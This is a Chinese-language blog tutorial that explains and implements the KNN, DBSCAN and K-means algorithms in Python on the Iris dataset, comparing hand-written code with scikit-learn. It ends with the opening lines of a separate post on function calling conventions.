#画出预测结果 import matplotlib.pyplot as plt plt.scatter(x_test[:,0],x_test[:,1],c=pre_test) plt.show() 算法评价 优点:\n1)算法简单,理论成熟,既可以用来做分类也可以用来做回归。\n2)可用于非线性分类。\n3)没有明显的训练过程,而是在程序开始运行时,把数据集加载到内存后,不需要进行训练,直接进行预测,所以训练时间复杂度为0。\n4)由于KNN方法主要靠周围有限的邻近的样本,而不是靠判别类域的方法来确定所属的类别,因此对于类域的交叉或重叠较多的待分类样本集来说,KNN方法较其他方法更为适合。\n5)该算法比较适用于样本容量比较大的类域的自动分类,而那些样本容量比较小的类域采用这种算法比较容易产生误分类情况。\n缺点:\n1)需要算每个测试点与训练集的距离,当训练集较大时,计算量相当大,时间复杂度高,特别是特征数量比较大的时候。\n2)需要大量的内存,空间复杂度高。\n3)样本不平衡问题(即有些类别的样本数量很多,而其它样本的数量很少),对稀有类别的预测准确度低。\n4)是lazy learning方法,基本上不学习,导致预测时速度比起逻辑回归之类的算法慢。\nDBSCAN算法 算法原理 DBSCAN(Density-Based Spatial Clustering of Applications with Noise,具有噪声的基于密度的聚类方法)是一种基于密度的空间聚类算法。该算法将具有足够密度的区域划分为簇,并在具有噪声的空间数据库中发现任意形状的簇,它将簇定义为密度相连的点的最大集合。\n这类密度聚类算法一般假定类别可以通过样本分布的紧密程度决定。同一类别的样本,他们之间的紧密相连的,也就是说,在该类别任意样本周围不远处一定有同类别的样本存在。通过将紧密相连的样本划为一类,这样就得到了一个聚类类别。通过将所有各组紧密相连的样本划为各个不同的类别,则我们就得到了最终的所有聚类类别结果。\n基本概念 若给定数据集$D={x_1,x_2,\u0026hellip;,x_i}$\n$\\epsilon$-邻域: 对 $\\boldsymbol{x}_j \\in D$, 其 $\\epsilon$-邻域包含样本集 $D$ 中与 $\\boldsymbol{x}j$ 的距离不大于 $\\epsilon$ 的样本,即 $N\\epsilon\\left(\\boldsymbol{x}_j\\right)=\\left{\\boldsymbol{x}_i \\in D \\mid \\operatorname{dist}\\left(\\boldsymbol{x}_i, \\boldsymbol{x}_j\\right) \\leqslant \\epsilon\\right}$;\n1、核心对象:若$x_j$的$\\epsilon$邻域内有超过MinPts个样本,$x_j$是一个核心对象;\n2、密度直达:$x_i$是核心对象,$x_j$位于$x_i$的$\\epsilon$邻域内,则称$x_j$由$x_i$密度直达;\n3、密度可达:对 $\\boldsymbol{x}_i$ 与 $\\boldsymbol{x}_j$, 若存在样本序列 $\\boldsymbol{p}_1, \\boldsymbol{p}_2, \\ldots, \\boldsymbol{p}_n$, 其中 $\\boldsymbol{p}_1=\\boldsymbol{x}_i, \\boldsymbol{p}_n \\doteq \\boldsymbol{x}j$ 且 $\\boldsymbol{p}{i+1}$ 由 $\\boldsymbol{p}_i$ 密度直达, 则称 $\\boldsymbol{x}_j$ 由 $\\boldsymbol{x}_i$ 密度可达;\n4、密度相连:对 $\\boldsymbol{x}_i$ 与 $\\boldsymbol{x}_j$, 若存在 $\\boldsymbol{x}_k$ 使得 $\\boldsymbol{x}_i$ 与 $\\boldsymbol{x}_j$ 均由 $\\boldsymbol{x}_k$ 密度可达, 则称 $\\boldsymbol{x}_i$ 与 $\\boldsymbol{x}_j$ 密度相连.\n核心点 (Core point)。若样本 $x_i$ 的 $\\varepsilon$ 邻域内至少包含了MinPts个样本, 即 $N_{\\varepsilon}\\left(X_i\\right) \\geq$ MinPts,则称样本点 $x_i$ 为核心点。 边界点 (Border point)。若样本 $x_i$ 的 $\\varepsilon$ 邻域内包含的样本数目小于MinPts,但是它在其他核心点的邻域内,则称样本点 $x_i$ 为边界点。 噪音点 (Noise)。既不是核心点也不是边界点的点 簇的定义\nDBSCAN 算法对簇的定义很简单,由密度可达关系导出的最大密度相连的样本集合,即为最终聚类的一个簇。\n算法流程 输入: 样本集 $\\mathrm{D}=\\left(x_1, x_2, \\ldots, x_m\\right)$ ,邻域参数 $(\\epsilon$, MinPts $)$ ,样本距离度量方式 输出: 簇划分C.\n初始化核心对象集合 $\\Omega=\\emptyset ,$ 初始化聚类簇数 $\\mathrm{k}=0$ ,初始化末访问样本集合 $\\Gamma=\\mathrm{D}$ ,簇划分 $\\mathrm{C}=\\emptyset$ 对于 $j=1,2, \\ldots m$ ,按下面的步㝡找出所有的核心对象: a) 通过距离庹量方式,找到样本 $x_j$ 的 $\\epsilon$-邻域子样本集 $N_\\epsilon\\left(x_j\\right)$ b) 如果子样本集样本个数满足 $\\left|N_\\epsilon\\left(x_j\\right)\\right| \\geq \\operatorname{MinPts}$ , 将样本 $x_j$ 加入核心对象样本集合: $\\Omega=\\Omega \\cup\\left{x_j\\right}$ 如果核心对象集合 $\\Omega=\\emptyset$ ,则算法结束,否则转入步骤4. 在核心对象集合 $\\Omega$ 中,随机选择一个核心对象 $O$ ,初始化当前笶核心对象队列 $\\Omega_{c u r}={o}$ ,初始化类别序号 $\\mathrm{k}=\\mathrm{k}+1$ ,初始化当前簇样本集合 $C_k={o}$ ,更新末访问样本集合 $\\Gamma=\\Gamma-{o}$ 如果当前笶核心对象队列 $\\Omega_{c u r}=\\emptyset$, 则当前聚类箷 $C_k$ 生成完毕,更新簇划分 $\\mathrm{C}=\\left{C_1, C_2, \\ldots, C_k\\right}$ ,更新核心对象集合 $\\Omega=\\Omega-C_k$ ,转入步 骤3。否则更新核心对象集合 $\\Omega=\\Omega-C_k$ 。 在当前簇核心对象队列 $\\Omega_{c u r}$ 中取出一个核心对象 $o^{\\prime}$, 通过邻域距离阈值 $\\epsilon$ 找出所有的 $\\epsilon$-邻域子样本集 $N_\\epsilon\\left(o^{\\prime}\\right)$ ,令 $\\Delta=N_\\epsilon\\left(o^{\\prime}\\right) \\cap \\Gamma$ ,更新当前簇样本 集合 $C_k=C_k \\cup \\Delta$ ,更新末访问样本集合 $\\Gamma=\\Gamma-\\Delta$ ,更新 $\\Omega_{c u r}=\\Omega_{c u r} \\cup(\\Delta \\cap \\Omega)-o^{\\prime}$ ,转入步噔5. 输出结果为: 簇划分 $\\mathrm{C}=\\left{C_1, C_2, \\ldots, C_k\\right}$ 代码实现 加载数据 iris = load_iris() data = iris.data label = iris.target plt.title(\u0026#39;Iris Dataset\u0026#39;) plt.scatter(data[:, 0], data[:, 1], c=label) plt.show() 计算距离 这里的距离度量是用的二范数或者欧几里得范数\nThe $L_2$-norm (or 2-norm, or Euclidean norm) $$ |\\boldsymbol{x}|2=\\sqrt{\\sum{i=1}^n x_i^2} $$ 然后下方这个函数就主要负责距离的查询\n选择每次的首个核心点,并传入参数epsilon和min_points进行首次迭代\ndef region_query(data, point_id, eps): # Find all points within eps distance of point neighbors = [] for i in range(0, len(data)): if np.linalg.norm(data[i] - data[point_id]) \u0026lt; eps: neighbors.append(i) return neighbors 寻找近邻点 首个核心点迭代完成后,对它进行移动,直到出现不满足阈值条件的样本点为止\ndef expandCluster(data,label,point_id,cluster_id,eps,min_points): # 返回所有近邻点 neighbors = region_query(data,point_id, eps) # print(neighbors) # 如果点的密度小于min_points,则为噪声点 if len(neighbors) \u0026lt; min_points: label[point_id] = -1 return False # 如果点的密度大于min_points,则为核心点 else: # 为核心点赋新簇标签 label[point_id] = cluster_id for neighbor in neighbors: label[neighbor] = cluster_id#为eps半径内的点赋新簇标签 # 遍历所有近邻点 while len(neighbors) \u0026gt; 0:#对近邻点进行扩展 current_point = neighbors[0]#取出第一个点 query_results = region_query(data,current_point, eps)#找出该点的所有近邻点 if len(query_results) \u0026gt;= min_points:#如果该点的密度大于min_points,则为核心点 for i in range(0, len(query_results)):#遍历所有近邻点 result_point = query_results[i] if label[result_point] == -1:#如果该点为噪声点,则赋新簇标签 label[result_point] = cluster_id elif label[result_point] == 0:#如果该点未访问过,则赋新簇标签,并加入neighbors label[result_point] = cluster_id neighbors.append(result_point) neighbors.remove(current_point)#删除当前点 return True dbscan 初始化一个空的分类列表,对其中每个未分类点进行调用上述函数\ndef dbscan(data,eps,min_points): cluster_id = 1 label = [0] * len(data)#初始化一个空的分类列表 for point_id in range(0, len(data)): if label[point_id] == 0:#如果该点未访问过 if expandCluster(data,label,point_id,cluster_id,eps,min_points): #可变类型:类似 c++ 的引用传递,如 列表,字典,类等 cluster_id = cluster_id + 1 print(cluster_id) return label 可视化模型结果 按照前两个参数进行画图\nplt.title(\u0026#39;DBSCAN\u0026#39;) plt.scatter(data[:, 0], data[:, 1], c=label_pred) plt.xlabel(\u0026#39;sepal length\u0026#39;) plt.ylabel(\u0026#39;sepal width\u0026#39;) #图例 plt.show() 评估K-means模型 print(\u0026quot;轮廓系数为:\u0026quot;,metrics.silhouette_score(data, label_pred, metric='euclidean'))\n与sklearn的对比\nfrom sklearn.cluster import DBSCAN from sklearn.datasets import load_iris from sklearn.model_selection import train_test_split import numpy as np import matplotlib.pyplot as plt from sklearn import metrics iris=load_iris() data=iris.data label=iris.target db = DBSCAN(eps=0.46, min_samples=11).fit(data) skl_labels = db.labels_ plt.title(\u0026#39;dbscan sklearn\u0026#39;) plt.scatter(data[:, 0], data[:, 1], c=skl_labels) plt.show() 完整代码 from sklearn.datasets import load_iris from sklearn.model_selection import train_test_split import numpy as np import matplotlib.pyplot as plt def region_query(data, point_id, eps): # Find all points within eps distance of point neighbors = [] for i in range(0, len(data)): if np.linalg.norm(data[i] - data[point_id]) \u0026lt; eps: neighbors.append(i) return neighbors def expandCluster(data,label,point_id,cluster_id,eps,min_points): # 返回所有近邻点 neighbors = region_query(data,point_id, eps) # print(neighbors) # 如果点的密度小于min_points,则为噪声点 if len(neighbors) \u0026lt; min_points: label[point_id] = -1 return False # 如果点的密度大于min_points,则为核心点 else: # 为核心点赋新簇标签 label[point_id] = cluster_id for neighbor in neighbors: label[neighbor] = cluster_id#为eps半径内的点赋新簇标签 # 遍历所有近邻点 while len(neighbors) \u0026gt; 0:#对近邻点进行扩展 current_point = neighbors[0]#取出第一个点 query_results = region_query(data,current_point, eps)#找出该点的所有近邻点 if len(query_results) \u0026gt;= min_points:#如果该点的密度大于min_points,则为核心点 for i in range(0, len(query_results)):#遍历所有近邻点 result_point = query_results[i] if label[result_point] == -1:#如果该点为噪声点,则赋新簇标签 label[result_point] = cluster_id elif label[result_point] == 0:#如果该点未访问过,则赋新簇标签,并加入neighbors label[result_point] = cluster_id neighbors.append(result_point) neighbors.remove(current_point)#删除当前点 return True #初始化一个空的分类列表,对其中每个未分类点进行调用上述函数 def dbscan(data,eps,min_points): cluster_id = 1 label = [0] * len(data)#初始化一个空的分类列表 for point_id in range(0, len(data)): if label[point_id] == 0:#如果该点未访问过 if expandCluster(data,label,point_id,cluster_id,eps,min_points): #可变类型:类似 c++ 的引用传递,如 列表,字典,类等 cluster_id = cluster_id + 1 print(cluster_id) return label def showCluster(data, label): n_clusters_ = len(set(label)) - (1 if -1 in label else 0) print(n_clusters_) # Black removed and is used for noise instead. unique_labels = set(label) colors = [plt.cm.Spectral(each) for each in np.linspace(0, 1, len(unique_labels))] for k, col in zip(unique_labels, colors): if k == -1: # Black used for noise. col = [0, 0, 0, 1] class_member_mask = (label == k) xy = data[class_member_mask] plt.plot(xy[:, 0], xy[:, 1], \u0026#39;o\u0026#39;, markerfacecolor=tuple(col), markeredgecolor=\u0026#39;k\u0026#39;, markersize=14) plt.title(\u0026#39;Estimated number of clusters: %d\u0026#39; % n_clusters_) plt.show() if __name__ == \u0026#39;__main__\u0026#39;: iris = load_iris() data = iris.data label = iris.target plt.title(\u0026#39;Iris Dataset\u0026#39;) plt.scatter(data[:, 0], data[:, 1], c=label) plt.show() label_pred = dbscan(data,0.46,11) print(label_pred) # print(label_pred) plt.title(\u0026#39;DBSCAN\u0026#39;) plt.scatter(data[:, 0], data[:, 1], c=label_pred) #图例 plt.show() 算法评价 优点:\n不需要设置k值 可以发现任意形状的蔟 可以聚类的同时发现噪音点,即对噪音不敏感 对样本输入顺序不敢兴趣 缺点:\n高维数据效果不理想 调参复杂,eps和Minpiont参数不好设置,无法预估。 K-means算法 算法原理 K-means算法是一种聚类算法,所谓聚类,即根据相似性原则,将具有较高相似度的数据对象划分至同一类簇,将具有较高相异度的数据对象划分至不同类簇。聚类与分类最大的区别在于,聚类过程为无监督过程,即待处理数据对象没有任何先验知识,而分类过程为有监督过程,即存在有先验知识的训练数据集。\nk-means算法中的k代表类簇个数,means代表类簇内数据对象的均值(这种均值是一种对类簇中心的描述),因此,k-means算法又称为k-均值算法。k-means算法是一种基于划分的聚类算法,以距离作为数据对象间相似性度量的标准,即数据对象间的距离越小,则它们的相似性越高,则它们越有可能在同一个类簇。数据对象间距离的计算有很多种,k-means算法通常采用欧氏距离来计算数据对象间的距离。\n算法流程 算法接受一个未标记的数据集,然后将数据聚类成不同的组。假设将数据分成k个组,方法为:\n选择初始化的 $\\mathrm{k}$ 个样本作为初始聚类中心 $a=a_1, a_2, \\ldots a_k$ ; 针对数据集中每个样本 $x_i$ 计算它到 $\\mathrm{k}$ 个聚类中心的距离并将其分到距离最小的聚类中心所对应 的类中; 针对每个类别 $a_j$ ,重新计算它的聚类中心 $a_j=\\frac{1}{\\left|c_i\\right|} \\sum_{x \\in c_i} x$ (即属于该类的所有样本的质 心); 重复上面 23 两步操作,直到达到某个中止条件 (迭代次数、最小误差变化等)。 吴恩达视频的中的伪代码为\nrepeat { for i= to m # 计算每个样例属于的类 c(i) := index (from 1 to K) of cluster centroid closest to x(i) for k = 1 to K # 聚类中心的移动,重新计算该类的质心 u(k) := average (mean) of points assigned to cluster K } 优化目标 这里的终止条件,我们用K-均值最小化问题,是要最小化所有的数据点与其所关联的聚类中心点之间的距离之和,因此K-均值的代价函数(畸变函数Distortion function) : $$ \\begin{equation} J\\left(c^{(1)}, \\ldots, c^{(m)}, \\mu_1, \\ldots, \\mu_K\\right)=\\frac{1}{m} \\sum_{i=1}^m\\left|X^{(i)}-\\mu_{c^{(i)}}\\right|^2 \\end{equation} $$ 其中$\\mu$代表与$x_i$最近的聚类中心点,$c^i$代表族类\n优化目标就是找出使得代价函数最小的c和μ,即 $$ \\begin{aligned} J\\left(\\underline{c^{(1)}, \\ldots, c^{(m)}, \\mu_1, \\ldots, \\mu_K}\\right)=\\frac{1}{m} \\sum_{i=1}^m\\left|x^{(i)}-\\mu_{c^{(i)}}\\right|^2\\ \\min _{\\substack{c^{(1)}, \\ldots, c^{(m)}\\ \\mu_1, \\ldots, \\mu_K}} J\\left(c^{(1)}, \\ldots, c^{(m)}, \\mu_1, \\ldots, \\mu_K\\right) \\ \u0026amp; \\end{aligned} $$\n代码实现 加载数据 我们用Python的scikit-learn库中自带的鸢尾花数据集,并使用使用datasets.load_iris()载入,并用开头的两个维度进行画图\n#加载数据 iris = load_iris() #划分训练集和测试集 X_data, lable_data = iris.data, iris.target def showData(X_data, lable_data): #显示数据 plt.scatter(X_data[:, 0], X_data[:, 1], c=lable_data) plt.xlabel(\u0026#39;sepal length\u0026#39;) plt.ylabel(\u0026#39;sepal width\u0026#39;) plt.show() 数据处理 不同特征之间往往具有不同的量纲,由此所造成的数值间的差异可能很大,在涉及空间距离计算或梯度下降法等情况的时候不对其进行处理会影响到数据分析结果的准确性。为了消除特征之间的量纲和取值范围差异可能会造成的影响,需对数据进行标准化处理,也可以称为规范化处理。 在这里我们对数据集进行标准差标准化处理\nMMS = MinMaxScaler().fit(X_data) X_data = MMS.transform(X_data) 计算距离 初始化质心,我们选取k个样本作为初始的类的中心\ndef initCentroids(X_train, k): #初始化质心 #随机选取k个样本作为初始质心 numSamples, dim = X_train.shape centroids = np.zeros((k, dim)) for i in range(k): index = int(np.random.uniform(0, numSamples)) centroids[i, :] = X_train[index, :] return centroids 计算每个样本到类中心的距离,并选取其中欧拉距离最小的,并打上属于某个类的标记\ndef OulerDistance(vec1, vec2): #欧拉距离 #计算两个向量的欧拉距离 :math:`d = \\sqrt{\\sum_{i=1}^n (x_i - y_i)^2}` #vec1-vec2表示两个向量的对应元素的差 return np.sqrt(np.sum(np.square(vec1 - vec2))) def minDistance(X_train, centroids): #计算每个样本到质心的距离 #返回每个样本所属的簇 numSamples = X_train.shape[0] clusterDict = dict() k=centroids.shape[0] for flower in X_train: vec1=flower flag = -1 minDist = float(\u0026#39;inf\u0026#39;)#无穷大 for i in range(k): vec2=centroids[i] distance = OulerDistance(vec1, vec2) if distance \u0026lt; minDist: minDist = distance flag = i#标记为第i个簇 if flag not in clusterDict.keys(): clusterDict[flag] = [] clusterDict[flag].append(flower)#将该样本加入到第i个簇中 return clusterDict#返回每个样本所属的簇 求两个向量的欧拉距离: $$ d = \\sqrt{\\sum_{i=1}^n (x_i - y_i)^2} $$ 获取更新新的聚类中心\ndef getCentroids(clusterDict): #计算新的质心 #返回新的质心 centroids = np.zeros((len(clusterDict),len(clusterDict[0][0]))) for i, cluster in clusterDict.items(): cluster = np.array(cluster) centroids[i, :] = np.mean(cluster, axis=0) return centroids def getVaration(clusterDict, centroids): #计算簇内误差平方和 #返回簇内误差平方和 variation = 0.0 for i, cluster in clusterDict.items(): variation += np.sum(np.square(cluster - centroids[i, :])) return variation 针对每个类别 $a_j$,重新计算它的聚类中心 $a_j=\\frac{1}{\\left|c_i\\right|} \\sum_{x \\in c_i} x$ (即属于该类的所有样本的质心);\n寻找最小mean new_variation = getVaration(clusterDict, centroids) #显示图形 old_variation = 1 while abs(new_variation - old_variation) \u0026gt; 0.0001: old_variation = new_variation centroids = getCentroids(clusterDict) clusterDict = minDistance(X_data, centroids) new_variation = getVaration(clusterDict, centroids) 可视化模型 根据前两个维度画出散点图\ndef showCluster(centroids, clusterDict): #获取聚类标签 labels0 = np.array(clusterDict[0]) labels1 = np.array(clusterDict[1]) labels2 = np.array(clusterDict[2]) #绘制样本点 plt.scatter(labels0[:, 0], labels0[:, 1], marker=\u0026#39;x\u0026#39;, color=\u0026#39;r\u0026#39;, label=\u0026#39;label0\u0026#39;) plt.scatter(labels1[:, 0], labels1[:, 1], marker=\u0026#39;o\u0026#39;, color=\u0026#39;g\u0026#39;, label=\u0026#39;label1\u0026#39;) plt.scatter(labels2[:, 0], labels2[:, 1], marker=\u0026#39;*\u0026#39;, color=\u0026#39;b\u0026#39;, label=\u0026#39;label2\u0026#39;) plt.xlabel(\u0026#39;sepal length\u0026#39;) plt.ylabel(\u0026#39;sepal width\u0026#39;) #绘制质心 plt.scatter(centroids[:, 0], centroids[:, 1], marker=\u0026#39;+\u0026#39;, color=\u0026#39;black\u0026#39;, label=\u0026#39;centroids\u0026#39;, s=300) plt.legend(loc=\u0026#39;upper right\u0026#39;) plt.title(\u0026#39;the result of K-means\u0026#39;) plt.show() 评估K-means模型 print('轮廓系数为:', silhouette_score(X_data, lable_data, metric='euclidean'))\n为了作对比这里直接调用sklearn库进行模拟,方便我们分析,对比\n在这里我们获取轮廓系数score是所有样本的轮廓系数均值,如果要获取每个样本的轮廓系数应当使用silhouette_samples。这里是针对超参数k(n_cluster),所以采用轮廓系数均值进行评估。\nfrom sklearn.metrics import silhouette_score from sklearn.preprocessing import MinMaxScaler from sklearn.cluster import KMeans from sklearn.datasets import load_iris import matplotlib.pyplot as plt iris_data = load_iris() x = iris_data.data y = iris_data.target MMS = MinMaxScaler().fit(x) data = MMS.transform(x) #构建KMeans模型训练数据 cluster = KMeans(n_clusters=3,random_state=123).fit(data) #获取聚类结果 y_pred = cluster.labels_ #获取聚类中心 centers = cluster.cluster_centers_ #获取聚类的内部误差平方和 inertia = cluster.inertia_ #计算轮廓系数 print(\u0026#39;轮廓系数为:\u0026#39;, silhouette_score(data, y_pred, metric=\u0026#39;euclidean\u0026#39;)) #显示聚类结果 plt.scatter(data[:, 0], data[:, 1], c=y_pred) plt.scatter(centers[:, 0], centers[:, 1], c=\u0026#39;red\u0026#39;, marker=\u0026#39;*\u0026#39;) plt.show() silhouetteScore = [] for i in range(2,15): # 构建并训练模型 kmeans = KMeans(n_clusters=i,random_state=123).fit(data) score = silhouette_score(data,kmeans.labels_) silhouetteScore.append(score) plt.figure(figsize=(10,6)) plt.plot(range(2,15),silhouetteScore,linewidth=1.5,linestyle=\u0026#39;-\u0026#39;) plt.xlabel(\u0026#39;the number of clusters\u0026#39;) plt.ylabel(\u0026#39;silhouette coefficient\u0026#39;) plt.show() 可以看到聚类数目为2、3和4、5的时候,图形的畸变程度最大。本身数据集就是关于3种鸢尾花的,侧面说明了聚类为3的时候效果较好,且用库的和实现的效果一致\n完整代码 from sklearn.datasets import load_iris from sklearn.preprocessing import MinMaxScaler from sklearn.manifold import TSNE from sklearn.metrics import silhouette_score import numpy as np import matplotlib.pyplot as plt def showData(X_data, lable_data): #显示数据 plt.scatter(X_data[:, 0], X_data[:, 1], c=lable_data) plt.xlabel(\u0026#39;sepal length\u0026#39;) plt.ylabel(\u0026#39;sepal width\u0026#39;) plt.title(\u0026#39;the original data\u0026#39;) plt.show() def showCluster(centroids, clusterDict): #获取聚类标签 labels0 = np.array(clusterDict[0]) labels1 = np.array(clusterDict[1]) labels2 = np.array(clusterDict[2]) #绘制样本点 plt.scatter(labels0[:, 0], labels0[:, 1], marker=\u0026#39;x\u0026#39;, color=\u0026#39;r\u0026#39;, label=\u0026#39;label0\u0026#39;) plt.scatter(labels1[:, 0], labels1[:, 1], marker=\u0026#39;o\u0026#39;, color=\u0026#39;g\u0026#39;, label=\u0026#39;label1\u0026#39;) plt.scatter(labels2[:, 0], labels2[:, 1], marker=\u0026#39;*\u0026#39;, color=\u0026#39;b\u0026#39;, label=\u0026#39;label2\u0026#39;) plt.xlabel(\u0026#39;sepal length\u0026#39;) plt.ylabel(\u0026#39;sepal width\u0026#39;) #绘制质心 plt.scatter(centroids[:, 0], centroids[:, 1], marker=\u0026#39;+\u0026#39;, color=\u0026#39;black\u0026#39;, label=\u0026#39;centroids\u0026#39;, s=300) plt.legend(loc=\u0026#39;upper right\u0026#39;) plt.title(\u0026#39;the result of K-means\u0026#39;) plt.show() def OulerDistance(vec1, vec2): #欧拉距离 #计算两个向量的欧拉距离 :math:`d = \\sqrt{\\sum_{i=1}^n (x_i - y_i)^2}` #vec1-vec2表示两个向量的对应元素的差 return np.sqrt(np.sum(np.square(vec1 - vec2))) def initCentroids(X_train, k): #初始化质心 #随机选取k个样本作为初始质心 numSamples, dim = X_train.shape centroids = np.zeros((k, dim)) for i in range(k): index = int(np.random.uniform(0, numSamples)) centroids[i, :] = X_train[index, :] return centroids def minDistance(X_train, centroids): #计算每个样本到质心的距离 #返回每个样本所属的簇 numSamples = X_train.shape[0] clusterDict = dict() k=centroids.shape[0] for flower in X_train: vec1=flower flag = -1 minDist = float(\u0026#39;inf\u0026#39;)#无穷大 for i in range(k): vec2=centroids[i] distance = OulerDistance(vec1, vec2) if distance \u0026lt; minDist: minDist = distance flag = i#标记为第i个簇 if flag not in clusterDict.keys(): clusterDict[flag] = [] clusterDict[flag].append(flower)#将该样本加入到第i个簇中 return clusterDict#返回每个样本所属的簇 def getCentroids(clusterDict): #计算新的质心 #返回新的质心 centroids = np.zeros((len(clusterDict),len(clusterDict[0][0]))) for i, cluster in clusterDict.items(): cluster = np.array(cluster) centroids[i, :] = np.mean(cluster, axis=0) return centroids def getVaration(clusterDict, centroids): #计算簇内误差平方和 #返回簇内误差平方和 variation = 0.0 for i, cluster in clusterDict.items(): variation += np.sum(np.square(cluster - centroids[i, :])) return variation def Kmeans(): #加载数据 iris = load_iris() #划分训练集和测试集 X_data, lable_data = iris.data, iris.target # showData(X_data, lable_data) #数据归一化 MMS = MinMaxScaler().fit(X_data) X_data = MMS.transform(X_data) #初始化质心 k = 3 centroids = initCentroids(X_data, k) #计算每个样本到质心的距离 clusterDict = minDistance(X_data, centroids) #计算新的质心 centroids = getCentroids(clusterDict) #计算簇内误差平方和 new_variation = getVaration(clusterDict, centroids) #显示图形 old_variation = 1 while abs(new_variation - old_variation) \u0026gt; 0.0001: old_variation = new_variation centroids = getCentroids(clusterDict) clusterDict = minDistance(X_data, centroids) new_variation = getVaration(clusterDict, centroids) showCluster(centroids, clusterDict) #计算轮廓系数 print(\u0026#39;轮廓系数为:\u0026#39;, silhouette_score(X_data, lable_data, metric=\u0026#39;euclidean\u0026#39;)) if __name__ == \u0026#39;__main__\u0026#39;: Kmeans() 算法评价 优点:\n1.是解决聚类问题的一种经典算法,简单、快速\n2.对处理大数据集,该算法保持可伸缩性和高效率\n3.当结果簇是密集的,它的效果较好\n缺点\n1.在簇的平均值可被定义的情况下才能使用,可能不适用于某些应用\n2.必须事先给出k(要生成的簇的数目),而且对初值敏感,对于不同的初始值,可能会导致不同结果。\n3.不适合于发现非凸形状的簇或者大小差别很大的簇\n4.对躁声和孤立点数据敏感\n参考文献 Supervised Machine Learning: Regression and Classification\nhttps://blog.51cto.com/u_15749390/5570555\nhttps://zhuanlan.zhihu.com/p/53084915\n","permalink":"https://niceasiv.cn/posts/cluster/","summary":"Python集成开发环境(IDE)\n(1) Anaconda: https://www.continuum.io/ (推荐)\n(2) IDLE: Python解释器默认工具\n(3) PyCharm: https://www.jetbrains.com/pycharm/\n(4) 实验数据集:Python的scikit-learn库中自带的鸢尾花数据集,可使用datasets.load_iris()载入。\n需要描述清楚算法流程,包括加载数据、数据处理、创建模型,训练,预测,评估模型等。如果必须给出实现代码才能更好地说明问题时,也必须先有相关的文字叙述,然后才是代码,代码只是作为例证\n鸢尾花数据集共收集了三类鸢尾花,即Setosa鸢尾花、Versicolour鸢尾花和Virginica鸢尾花,每一类鸢尾花收集了50条样本记录,共计150条。\n数据集包括4个属性,分别为花萼的长、花萼的宽、花瓣的长和花瓣的宽。对花瓣我们可能比较熟悉,花萼是什么呢?花萼是花冠外面的绿色被叶,在花尚未开放时,保护着花蕾。四个属性的单位都是cm,属于数值变量,四个属性均不存在缺失值的情况,以下是各属性的一些统计值如下:\n属性 最大值 最小值 均值 方差 萼长 7.9 4.3 5.84 0.83 萼宽 4.4 2.0 3.05 0.43 瓣长 6.9 1.0 3.76 1.76 瓣宽 2.5 0.1 1.20 0.76 KNN算法 算法原理 存在一个样本数据集合,也称为训练样本集,并且样本集中每个数据都存在标签,即我们知道样本集中每一数据与所属分类对应的关系。输入没有标签的数据后,将新数据中的每个特征与样本集中数据对应的特征进行比较,提取出样本集中特征最相似数据(最近邻)的分类标签。一般来说,我们只选择样本数据集中前k个最相似的数据,这就是k近邻算法中k的出处,通常k是不大于20的整数。最后选择k个最相似数据中出现次数最多的分类作为新数据的分类。\n基本概念 计算距离 常用到的距离计算公式如下:\n欧几里得距离(欧氏距离):\n$d=\\sqrt{(x_{1}-x_{2})^{2}+(y_{1}-y_{2})^{2}}$\n曼哈顿距离\n闵可夫斯基距离\n切比雪夫距离\n马氏距离\n余弦相似度\n皮尔逊相关系数\n汉明距离\n寻找最近邻数据\n将所有距离进行升序排序,确定K值,最近的K个邻居即距离最短的K个数据。 关于K值得选择问题:\nK 值的选择会对算法的结果产生重大影响。 K值较小意味着只有与测试数据较近的训练实例才会对预测结果起作用,容易发生过拟合。 如果 K 值较大,优点是可以减少学习的估计误差,但缺点是学习的近似误差增大,这时与测试数据较远的训练实例也会对预测起作用,使预测发生错误。 在实际应用中,K 值一般选择一个较小的数值,通常采用交叉验证的方法来选择最优的 K 值。随着训练实例数目趋向于无穷和 K=1 时,误差率不会超过贝叶斯误差率的2倍,如果K也趋向于无穷,则误差率趋向于贝叶斯误差率。(贝叶斯误差可以理解为最小误差) 三种交叉验证方法:\nHold-Out: 随机从最初的样本中选出部分,形成交叉验证数据,而剩余的就当做训练数据。 一般来说,少于原本样本三分之一的数据被选做验证数据。常识来说,Holdout 验证并非一种交叉验证,因为数据并没有交叉使用。 K-foldcross-validation:K折交叉验证,初始采样分割成K个子样本,一个单独的子样本被保留作为验证模型的数据,其他K-1个样本用来训练。交叉验证重复K次,每个子样本验证一次,平均K次的结果或者使用其它结合方式,最终得到一个单一估测。这个方法的优势在于,同时重复运用随机产生的子样本进行训练和验证,每次的结果验证一次,10折交叉验证是最常用的。 Leave-One-Out Cross Validation:正如名称所建议, 留一验证(LOOCV)意指只使用原本样本中的一项来当做验证资料, 而剩余的则留下来当做训练资料。 这个步骤一直持续到每个样本都被当做一次验证资料。 事实上,这等同于 K-fold 交叉验证是一样的,其中K为原本样本个数。 决策分类\n明确K个邻居中所有数据类别的个数,将测试数据划分给个数最多的那一类。即由输入实例的 K 个最临近的训练实例中的多数类决定输入实例的类别。 最常用的两种决策规则:\n多数表决法:多数表决法和我们日常生活中的投票表决是一样的,少数服从多数,是最常用的一种方法。 加权表决法:有些情况下会使用到加权表决法,比如投票的时候裁判投票的权重更大,而一般人的权重较小。所以在数据之间有权重的情况下,一般采用加权表决法。 说明:KNN没有显示的训练过程,它是“懒惰学习”的代表,它在训练阶段只是把数据保存下来,训练时间开销为0,等收到测试样本后进行处理。\n\t1)计算待分类点与已知类别的点之间的距离\n\t2)按照距离递增次序排序\n\t3)选取与待分类点距离最小的K个点\n\t4)确定前K个点所在类别的出现次数\n\t5)返回前K个点出现次数最高的类别作为待分类点的预测分类\n代码实现 初始化数据集 初始化训练集和测试集。训练集一般为两类或者多种类别的数据;测试集一般为一个数据。\niris = load_iris() data = iris.data label = iris.target # 划分训练集和测试集 train_set, test_set, train_label, test_label = train_test_split(data, label, test_size=0.2) 数据处理 归一化处理\ntrain_set = (train_set - train_set.min(*axis*=0)) / (train_set.max(*axis*=0) - train_set.min(*axis*=0)) test_set = (test_set - test_set.","title":"KNN\u0026DBscan\u0026K-means实现"},{"content":"调用惯例 简要介绍 ==调用惯例(Calling Conventions)==指计算机程序执行时调用函数或过程的一些约定,包括:\n1.函数的参数是通过栈还是寄存器传递? 2.如果通过栈传递,顺序是怎样的,是从左至右入栈还是相反。 3.谁负责清理栈,是调用者还是被调用者? 